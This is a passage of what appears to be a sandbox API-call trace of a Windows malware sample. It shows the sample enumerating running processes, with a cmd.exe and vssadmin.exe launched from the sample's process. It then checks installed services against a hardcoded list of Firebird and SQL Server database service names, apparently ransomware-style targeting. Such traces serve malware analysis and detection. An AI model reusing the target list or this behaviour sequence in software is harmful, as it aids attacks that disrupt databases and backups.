th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.606] lstrlenW (lpString="lsass.exe") returned 9 [0058.606] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.606] lstrlenW (lpString="lsm.exe") returned 7 [0058.606] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.607] lstrlenW (lpString="svchost.exe") returned 11 [0058.607] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.607] lstrlenW (lpString="svchost.exe") returned 11 [0058.607] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.607] lstrlenW (lpString="svchost.exe") returned 11 [0058.607] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.608] lstrlenW (lpString="svchost.exe") returned 11 [0058.608] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.608] lstrlenW (lpString="svchost.exe") returned 11 [0058.608] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.609] lstrlenW (lpString="audiodg.exe") returned 11 [0058.609] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.609] lstrlenW (lpString="svchost.exe") returned 11 [0058.609] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.609] lstrlenW (lpString="svchost.exe") returned 11 [0058.610] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.610] lstrlenW (lpString="dwm.exe") returned 7 [0058.610] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.610] lstrlenW (lpString="explorer.exe") returned 12 [0058.610] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.611] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.611] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.611] lstrlenW (lpString="taskhost.exe") returned 12 [0058.611] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.612] lstrlenW (lpString="svchost.exe") returned 11 [0058.612] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.612] lstrlenW (lpString="taskeng.exe") returned 11 [0058.612] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.613] lstrlenW (lpString="taskhost.exe") returned 12 [0058.613] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0058.613] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0058.613] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0058.614] lstrlenW (lpString="noticed.exe") returned 11 [0058.614] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0058.614] lstrlenW (lpString="uploaded.exe") returned 12 [0058.614] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0058.614] lstrlenW (lpString="hardware.exe") returned 12 [0058.614] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0058.615] lstrlenW (lpString="oracle.exe") returned 10 [0058.615] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0058.615] lstrlenW (lpString="creativity.exe") returned 14 [0058.615] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0058.616] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0058.616] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0058.616] lstrlenW (lpString="edited.exe") returned 10 [0058.616] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0058.617] lstrlenW (lpString="custody.exe") returned 11 [0058.617] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0058.617] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0058.617] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0058.617] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0058.618] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0058.618] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0058.618] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0058.618] lstrlenW (lpString="radius.exe") returned 10 [0058.618] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0058.619] lstrlenW (lpString="extensions.exe") returned 14 [0058.619] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0058.619] lstrlenW (lpString="desperate.exe") returned 13 [0058.619] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0058.735] lstrlenW (lpString="professor-mo.exe") returned 16 [0058.736] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0058.740] lstrlenW (lpString="guidance.exe") returned 12 [0058.740] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0058.740] lstrlenW (lpString="week.exe") returned 8 [0058.740] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0058.741] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0058.741] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0058.741] lstrlenW (lpString="sn featured.exe") returned 15 [0058.741] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0058.741] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0058.741] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0058.742] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0058.742] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.742] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.742] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0058.742] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0058.742] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.743] lstrlenW (lpString="cmd.exe") returned 7 [0058.743] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.743] lstrlenW (lpString="conhost.exe") returned 11 [0058.743] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.743] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.743] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.744] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.744] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.744] lstrlenW (lpString="svchost.exe") returned 11 [0058.744] Process32NextW (in: hSnapshot=0x368, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.744] CloseHandle (hObject=0x368) returned 1 [0058.744] Sleep (dwMilliseconds=0x1f4) [0059.261] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3298008 [0059.262] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0059.262] GetLastError () returned 0xea [0059.262] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x5400088 [0059.262] EnumServicesStatusExW (in: hSCManager=0x3298008, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5400088, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5400088, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0059.263] CloseServiceHandle (hSCObject=0x3298008) returned 1 [0059.263] lstrlenW (lpString="Appinfo") returned 7 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0059.263] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0059.263] lstrlenW (lpString="AudioSrv") returned 8 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0059.263] lstrlenW (lpString="BFE") returned 3 [0059.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0059.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0059.263] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0059.263] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0059.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0059.263] lstrlenW (lpString="CryptSvc") returned 8 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0059.264] lstrlenW (lpString="CscService") returned 10 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0059.264] lstrlenW (lpString="DcomLaunch") returned 10 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0059.264] lstrlenW (lpString="Dhcp") returned 4 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0059.264] lstrlenW (lpString="Dnscache") returned 8 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0059.264] lstrlenW (lpString="DPS") returned 3 [0059.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0059.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0059.264] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0059.264] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0059.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0059.264] lstrlenW (lpString="eventlog") returned 8 [0059.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0059.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0059.265] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0059.265] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0059.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0059.265] lstrlenW (lpString="EventSystem") returned 11 [0059.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0059.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0059.265] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0059.265] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0059.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0059.265] lstrlenW (lpString="gpsvc") returned 5 [0059.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0059.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0059.265] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0059.265] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0059.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0059.265] lstrlenW (lpString="iphlpsvc") returned 8 [0059.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0059.265] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0059.265] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0059.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0059.265] lstrlenW (lpString="LanmanServer") returned 12 [0059.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0059.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0059.265] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0059.265] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0059.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0059.265] lstrlenW (lpString="LanmanWorkstation") returned 17 [0059.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0059.265] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0059.265] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0059.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0059.266] lstrlenW (lpString="lmhosts") returned 7 [0059.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0059.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0059.266] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0059.266] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0059.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0059.266] 